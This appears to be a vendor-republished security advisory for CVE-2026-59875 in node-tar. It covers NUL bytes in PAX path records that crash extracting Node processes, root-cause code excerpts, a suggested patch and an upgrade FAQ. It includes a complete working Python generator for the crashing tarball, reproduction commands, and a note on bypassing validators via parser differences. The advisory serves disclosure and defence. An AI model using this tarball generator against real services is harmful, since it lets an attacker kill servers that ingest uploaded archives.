Summary
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x(), it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
Root cause
Vulnerable sink, src/pax.ts:157-183
PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
const n = parseInt(line, 10)
if (n !== Buffer.byteLength(line) + 1) return set
line = line.slice((n + ' ').length)
const kv = line.split('=')
const r = kv.shift()
if (!r) return set
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
const v = kv.join('=') // <-- NO NUL STRIP
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
: /^[0-9]+$/.test(v) ? +v
: v // <-- v with NULs lands here
return set
}
The PAX record body is length-prefixed, so the parser knows the exact byte boundary, but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
Correctly-patched cousin sink, src/parse.ts:375-388
The equivalent code path for GNU L/K long-headers does strip NUL bytes:
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
const ex = this[EX] ?? Object.create(null)
this[EX] = ex
ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
case 'NextFileHasLongLinkpath': {
const ex = this[EX] || Object.create(null)
this[EX] = ex
ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.
Downstream blast radius
entry.path and entry.linkpath are consumed in:
src/unpack.ts→fs.lstat,fs.open,fs.symlink,fs.link,fs.mkdirsrc/list.ts(no crash, listing tolerates NUL in strings)- Any consumer of the
ReadEntryevent that callspath.join()/fs.*onentry.path
The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
Proof of Concept
Artifacts
poc-null-byte-crash.tar, 3072 bytes, PAXpath=visible.txt\x00hidden.txtpoc-null-linkpath-crash.tar, 2560 bytes, PAXlinkpath=target\x00garbage(symlink target sink)poc1-pax-prefix.py, minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro, Python 3)
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os
def cksum(b):
s = 0
for i, x in enumerate(b):
s += 0x20 if 148 <= i < 156 else x
return s
def pad512(buf):
rem = len(buf) % 512
return buf + b'\0' * (512 - rem) if rem else buf
def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
b = bytearray(512)
b[0:len(name[:100])] = name[:100]
b[100:108] = b'0000644\0'
b[108:116] = b'0001000\0'
b[116:124] = b'0001000\0'
b[124:136] = ('%011o ' % size).encode()
b[136:148] = ('%011o ' % 0).encode()
b[148:156] = b' '
b[156:157] = typeflag
b[157:157+len(linkpath[:100])] = linkpath[:100]
b[257:265] = b'ustar\x0000'
b[265:270] = b'root\0'
b[297:302] = b'root\0'
b[329:337] = b'0000000\0'
b[337:345] = b'0000000\0'
b[345:345+len(prefix[:155])] = prefix[:155]
s = cksum(b)
b[148:156] = ('%06o\0 ' % s).encode()
return bytes(b)
def pax(records):
body = b''
for k, v in records:
kv = b' ' + k + b'=' + v + b'\n'
for digits in range(1, 8):
total = digits + len(kv)
if len(str(total)) == digits:
break
body += str(total).encode() + kv
return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024 # end-of-archive
open('poc.tar', 'wb').write(out)
Reproduction
# 1. Generate tarball
python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install [email protected]
# 3. Try to extract with documented try/catch, observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
process.on("uncaughtException", e => {
console.log("UNCAUGHT:", e.code, "-", e.message);
process.exit(99);
});
import("tar").then(async tar => {
try {
await tar.x({ file: "../poc.tar", cwd: "./out" });
console.log("NORMAL_RETURN");
} catch (e) {
console.log("CAUGHT_BY_USER:", e.code);
}
});'
Observed output (verified 2026-06-23 against [email protected])
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
Direct: remote DoS
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (
actions/cache,actions/setup-*extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
- Cloud functions that auto-extract uploaded archives
A correctly-coded consumer that does:
try {
await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
return res.status(400).json({ error: 'bad archive' });
}
does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
Secondary: parser-differential validator bypass (CWE-436)
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) |
Lists visible.txt (truncated at NUL) |
bsdtar -tvf |
Lists visible.txt (truncated at NUL) |
Python tarfile.list() |
Lists visible.txt\x00hidden.txt (raw) |
node-tar tar.t({file}) |
Emits raw NUL-bearing path (no crash) |
node-tar tar.x({file}) |
Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
Suggested patch
Match the long-name handler in parse.ts, strip everything from the first NUL onward in parseKVLine value parsing:
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=')
+ const v = kv.join('=').replace(/\0.*$/, '')
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
Impact
CVE-2026-59875 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.5.17); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-59875? CVE-2026-59875 is a medium-severity security vulnerability in tar (npm), affecting versions <= 7.5.16. It is fixed in 7.5.17.
- How severe is CVE-2026-59875? CVE-2026-59875 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of tar are affected by CVE-2026-59875? tar (npm) versions <= 7.5.16 is affected.
- Is there a fix for CVE-2026-59875? Yes. CVE-2026-59875 is fixed in 7.5.17. Upgrade to this version or later.
- Is CVE-2026-59875 exploitable, and should I be worried? Whether CVE-2026-59875 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59875 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59875? Upgrade
tarto 7.5.17 or later.